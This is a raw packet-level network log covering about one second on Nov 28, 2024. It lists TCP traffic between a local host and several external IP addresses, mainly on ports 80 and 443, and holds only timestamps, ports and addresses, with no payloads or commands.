Nov 28, 2024 17:24:46.819247961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.819789886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.819854021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.819854975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.820058107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.820513010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.820677996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.821254015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.821275949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.821284056 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.821558952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.822035074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.822084904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.822101116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.822449923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.822712898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.822725058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.822763920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.822832108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.823353052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.823465109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.926121950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.926296949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.926426888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.926448107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.926492929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.926518917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.926749945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.927180052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.927340031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.927481890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.927551031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.927874088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.927989006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.928009987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.928114891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.928608894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.928713083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.928740978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.928827047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.929286957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.929336071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.929478884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.929627895 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.929966927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.930135012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.930175066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.930275917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.930690050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.930890083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.930916071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.931024075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.931396961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.931503057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.931648016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.931725979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.932131052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.932219028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.932240963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.932337046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.932825089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.932910919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.933073044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.933162928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.933569908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.933701992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.933926105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.934050083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.934246063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.934329987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.934624910 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.934886932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.935008049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.935076952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.935101032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.935242891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.935719013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.935823917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.935839891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.936080933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.936382055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.936517000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.936547995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.936630011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.937114000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.937190056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.937222958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.937293053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.937829971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.937892914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.937916040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.938110113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.938555956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.938646078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.938652992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.938743114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.939270973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.939284086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:46.939451933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:46.950483084 CET	443	49880	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:46.950762033 CET	49880	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:46.950776100 CET	443	49880	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:46.951114893 CET	443	49880	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:46.951478958 CET	49880	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:46.951538086 CET	443	49880	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:46.983453035 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.983505011 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.983658075 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.983824968 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.983849049 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.983922958 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.983930111 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.987277031 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.987325907 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.987586021 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.987586021 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:46.987620115 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:46.992925882 CET	49880	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:47.001463890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.001619101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.001646042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.001852989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.001880884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.001940966 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.002021074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.002120018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.002141953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.002238035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.002640009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.002728939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.003025055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.003412962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.003562927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.003587008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.003695011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.004116058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.004204988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.004234076 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.004350901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.004806042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.004836082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.004863024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.004911900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.005511045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.005614042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.005635023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.005740881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.006239891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.006345034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.006352901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.006428957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.006927013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.006983995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.007008076 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.007164955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.007642984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.007752895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.007781029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.007849932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.008387089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.008500099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.008522034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.008898020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.009068012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.009135008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.009157896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.009382963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.009757996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.009845972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.009869099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.009977102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.010498047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.010607004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.010638952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.010775089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.011226892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.011291981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.011297941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.011487961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.011964083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.012079000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.012331963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.012691975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.012762070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.012798071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.012857914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.013370037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.013448000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.013474941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.013597012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.014060974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.014122963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.014125109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.014202118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.014767885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.014868021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.014889956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.014995098 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.015503883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.015594959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.015618086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.015685081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.016223907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.016343117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.016367912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.016412020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.016907930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.017009020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.017043114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.017144918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.017632961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.017771959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.017796993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.017852068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.018347025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.018446922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.018465996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.018532991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.019051075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.019150019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.019155979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.019304991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.019818068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.019922018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.019928932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.020108938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.020481110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.020627975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.020646095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.020754099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.021224022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.021348953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.021377087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.021537066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.021958113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.022038937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.022064924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.022145987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.022612095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.022737026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.022936106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.023396015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.023439884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.023497105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.024034977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.024141073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.024171114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.024275064 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.118156910 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.118226051 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.118319988 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.118457079 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.118457079 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.118470907 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.118483067 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.121361971 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.121404886 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.121469975 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.121679068 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.121697903 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.127537012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.127598047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.127620935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.127672911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.127672911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.127717972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.127742052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.127784967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.127945900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.128021955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.128055096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.128096104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.128659964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.128705978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.128820896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.128864050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.129394054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.129437923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.129544973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.129594088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.130287886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.130333900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.130458117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.130501032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.131069899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.131155968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.131210089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.131627083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.131676912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.131714106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.131753922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.132266045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.132312059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.132436991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.132477999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.133115053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.133172035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.133253098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.133301973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.133874893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.134018898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.134068012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.134525061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.134586096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.134598970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.134634972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.135054111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.135107040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.135170937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.135225058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.135853052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.135864973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.135898113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.135925055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.136579037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.136641026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.136662960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.136785030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.137408972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.137466908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.137502909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.137574911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.138021946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.138077974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.138129950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.138175964 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.138659954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.138706923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.138757944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.138798952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.139417887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.139504910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.139525890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.139611959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.140085936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.140153885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.140176058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.140218019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.140790939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.140835047 CET	49813	80	192.168.2.6	185.215.113.206
